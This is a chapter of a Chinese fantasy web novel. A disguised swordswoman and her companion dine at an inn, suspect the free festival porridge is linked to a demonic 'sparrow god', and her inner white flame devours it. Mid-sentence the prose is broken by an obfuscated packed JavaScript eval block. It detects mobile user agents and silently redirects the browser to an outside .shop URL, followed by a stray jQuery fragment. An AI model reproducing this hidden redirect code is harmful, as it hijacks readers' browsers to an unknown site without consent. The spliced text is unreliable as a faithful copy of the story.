谢勺重新戴好头巾,把截云剑束回大腿上,逼音成线:“走,下去吃点东西。”
关好房门,倚在墙上等了一会儿,沈逸飞也出来了,两人对视一眼,走下楼梯来到大堂。
正是吃饭的时间,大堂里热火朝天,到处都是饭菜飘摇的香气和食客的喧闹。
谢勺早就饿了,眼疾手快找到了一张位于角落的双人桌,和沈逸飞相对着坐下,立刻有小二小跑着过来递上菜单。
看了一眼他的脸,发现就是刚才引着他们去客房的小二巧儿,便道:“又是你啊。”
“是我呀,姐姐,”巧儿弯着腰,笑得格外讨喜:“春娘说了,难得见您二位这般妥帖又亲和的贵客,叫我务必小心招待着。”
谢勺失笑,不过是认了个假老乡,闲拉了几句家常,怎么就称得上贵客了?春娘看着愁苦瘦弱,内里却说不准是个软和的心肠。
她对着菜单点了几个菜,要了炒合菜、香油鸡和一笼蒸馒头,把菜单递给沈逸飞。
沈逸飞扫了一眼,加了一道金丝枣花酥。
巧儿唱了遍菜,确认无误之后便跑去后厨安排了。
谢勺手心撑着脸颊,伪装后的面容平平无奇,始终低垂着眼睛,这会儿放开了,一对眼珠便愈发显出漆黑透亮来:“方才没机会问你,你怎么会说新象城那边的土话,你真是新象城人?”
沈逸飞提着着茶壶,给两人的杯子倒上茶水,低头喝了一口,眉头几不可见地皱了皱,明显是对粗涩的茶叶不太满意。
但他也没点评什么,矜持地放下茶杯,道:“也是巧合,我自小博闻强记,加之遍览风俗民情,但凡是听过的方言,恰好都能说上两句。”
谢勺额角一抽:“你这巧合也太巧了。”
沈逸飞笑而不语。
谢勺没再追问下去,每个人多少都有些秘密,就比如她,谁能想到一个普通游侠的丹田里揣着一豆莫名其妙的白火,壳子里装着一个来自异世界的灵魂?
这时,热闹了半天的后厨又传出一声吆喝:“传菜!”
巧儿应道:“来了!”
他一手端着一个盘子,跑了两趟,把菜上齐了。
谢勺眼睛瞬间直了,炒合菜鲜亮动人,辣椒鸡喷香扑鼻,馒头圆润可爱,连那碟金丝枣花酥都散发着甜蜜的味道。
昨夜的经历太过惊心动魄,虽说后来在林子里吃了一顿沈逸飞亲手烤的兔肉,但习武之人消化快,谢勺早就饿了,闻着勾人的菜香,顿时食指大动。
正要动筷,却见上完菜便走了的巧儿又折返回来,手里小心翼翼地捧着一个汤罐,在两人投来的目光中,巧儿笑着开了盖子。
霎时间白气弥漫,谢勺往里面一看,那是一罐子熬得浓稠的粥水,最顶上浆了一层米油,粗略一看,里面至少有小米、黄米、白米等多种谷物,粮食的香气清甜又霸道。
“丰禾节快到哩,”巧儿道:“掌柜特意吩咐,近日来吃饭的客人,每桌都赠送一罐五米粥,盼着各位跑商的老板往后多来祥云镇歇脚,照顾俺们的生意。”
沈逸飞笑道:“那还赶巧了,替我们谢谢掌柜的,只是不知丰禾节是什么节日?我怎么从未听说过。”
谢勺也在心里暗道奇怪,丰禾节,听着像是庆祝丰收的日子,只是现在才六月,大多数作物还在地里长着,有什么值得庆祝的?
小二喜气洋洋:“您有所不知,俺们镇子有雀神庇佑,年年风调雨顺、五谷丰登,丰禾节是特意办来感谢祂的,旁的地方都没有。”
……雀神?
谢勺心中一突,隐隐浮现出不祥的预感,说的不会就是昨夜那只隐在幕后的大魋吧?
照理说,在五洲畸形的社会结构下,衍生出各色的宗教信仰是很正常的事,人日子过的不好,就总想找各类的精神寄托,不说用没有用,至少是一份慰藉。
可若将魋供奉为神……那就是邪神了。
巧儿把罐子放到桌上,离开了。
沈逸飞没有出声,对谢勺做了个口型:“雀魋?”
他和谢勺想的一样,昨夜老妇和打更人口中送子又送喜的雀神,很有可能就是那只大魋。
谢勺点点头,环顾一周,每个桌子上都有一个相同的罐子,米香勾人,客人们显然对这份周到极为满意,或多或少都喝了一些。
沈逸飞盛了一碗粥,眉心微微蹙起,端到鼻下嗅了嗅。
谢勺也盛了一碗,问道:“有发现什么异常吗?”
还没等到他说话,谢勺丹田里沉寂了半天的白火突然兴奋起来,一簇火苗顺着经脉一路狂奔,差点从她指尖冒出来。
谢勺立即蜷起手指,按下它,传去心音:“你想吃这个?”
白火立即开始疯狂地闪烁。
谢勺诡异地明白了它的意思,它不只是想吃,这副上蹿下跳的样子,明显是已经馋疯了。
谢勺无语,在脑中发问:“这粥里到底有什么东西?”
白火不会说话,只能通过两人之间的链接传来模模糊糊的意愿。
“要……要……”
“喝掉……喝掉……”
“没事……没事……”
谢勺尝试翻译:“这粥对我来说没有危害,喝了不会有事,但对你有好处?”
白火激动地差点哭出来,看看,跟对了能听明白话的主人是多么重要!
谢勺顿了顿,思忖了一会儿,果断举起碗一饮而尽。
米粥刚入腹,白火就像在沙漠里渴了许久的人突然得到一口水,猛地裹住了那团米液,无声无息地燃烧起来,氤氲的弧光蒸腾,米液迅速消失殆尽。
它没有立刻缩回丹田,而是在经脉蠢蠢欲动地游走,还在渴望着罐子里剩下的那些粥水。
谢勺屏息内视,吞噬完米液后,白火似乎长大了一些,不多,大约就是从黄豆大小长到了花生大小,但也已经是这十年来白火唯一的变化了。
那边沈逸飞还在对着粥碗凝神细思,这边谢勺已经一碗接着一碗,把剩下的粥全部包圆了。
“怎么这般着急……”沈逸飞回过神,脸上带着点无奈:“我总觉得有些不对,明州再如何以丰饶甲天下,一个普通的客栈掌柜,竟然能用这样浓稠的米粥不求回报地款待来往宾客,都显得有些过于大方了,这粥还是不要喝为妙。”
冤枉啊!道理她都懂,但她可没喝,全是白火喝的,谢勺在心里举着小皮鞭抽打了一番罪魁祸首,讪讪一笑,背下了这口黑锅:“饿过头了,没忍住。”
事已至此,沈逸飞也不好多说什么,他左手端着碗送到唇边,做出喝粥的动作,右手则在桌下隐秘地捏了个法决,米粥凭空消失,也不知是被乾坤挪移到哪里去了。
白火闪了闪,似乎是有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795217|210500||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
些惋惜,还有一丝含蓄的委屈。
它是不敢和养着自己、还总被自己坑的谢勺抱怨的,最多是偷偷摸摸地传递出一点哀怨的情绪。
不喝多浪费,还不如喂给它……
谢勺无语一瞬,可她总不能为了白火那点口腹之欲,厚着脸皮去抢沈逸飞手里那碗吧?
她拿起筷子,端详着桌子上面的菜色,又把白火从丹田的角落里揪出来:“跑什么跑?剩下的菜你还没试毒呢。”
白火感应了会儿,嘤了一声,意思是除了赠送的粥,没发现别的好吃的。
没有别的好吃的,就是说其他的菜都是正常做的,没有那些让白火兴奋的东西。
谢勺稍稍放心,筷子夹起一块鸡肉放进嘴里,眼睛享受地眯了起来。
祥云镇是个连城池都算不上的小镇,这客栈是镇上唯一的客栈,看着其貌不扬,菜色却做得相当不错,鸡肉汁水充沛,酱油又增了一分咸香的风味,一口咬下去便开了胃。
谢勺动筷的速度肉眼可见地加快了,沈逸飞也没客气,两人分着把盘子里的菜吃完了。
大堂里的人流逐渐稀少,来往的商人吃饱喝足,大多都选择回客房休息。
沈逸飞搁下筷子,手往袖子里探去,似乎是想找块帕子擦嘴。
谢勺赶紧咳嗽一声。
沈逸飞愣了下,反应过来,勉强做出了符合当前身份的动作,捏着袖口在唇角敷衍地蹭了蹭,低声问道:“今晚子时行动如何?”
谢勺想到昨天夜里的惊魂逃命,叹了口气,应道:“行,到时候你敲墙,我在隔壁能听见。”
沈逸飞笑道:“以防万一,我会敲墙三声,两长一短为一切如常,按计划行事即可。”
“若是两短一长,便是有意外发生,届时就随机应变吧。”
达成共识之后,两人各自回房休息。
路过柜台时,春娘正伏在案上歇息,细瘦干枯的身子如一节春后的柳枝,早早就枯败了。
她连小憩时都眉头紧锁,仿佛心中有挥散不去的愁云,谢勺没有打扰她,脚步放轻,悄悄上楼去了。
短暂休息了一会儿,再睁开眼时,日头仿佛突然就沉了下去。
谢勺从行囊里拿出那身夜行衣,贴身穿好,外面又套上伪装用的粗布衣裳。
白日的喧嚣烟火气已经散去,空茫的寂静再次降临祥云镇,没有风声、没有虫鸣,所有人都睡熟了,那种吞噬一切的安静,让人寒毛倒竖。
谢勺抱着截云剑倚在床头,头脑突然一阵眩晕,意识向黑暗中沉沉坠去,心中暗道不好,这感觉和之前听到魋惊声啸鸣时一模一样!
不知道是不是昨天夜里打草惊蛇,使得隐在背后的大魋换了种玩法,如今竟然不需要听到叫声,便已经身入迷阵。
魋心险恶啊,当真是大意了!
心神混沌之时,谢勺后悔不迭。
早知如此,就该问问沈逸飞还有没有多余的香囊了,再不济花点银子,从他那儿买点凝神静气的半成品香料也好啊。
这次若能全须全尾地回去,往后定然不能这么脸皮薄了!
就在谢勺无计可施,将要随着这股昏沉睡去之际,白火突然一闪,火苗顺着经脉向上游走,所过之处,带来一阵温和却透骨的凉意。
霎时之间,灵台一清!
谢勺猛地睁开了眼。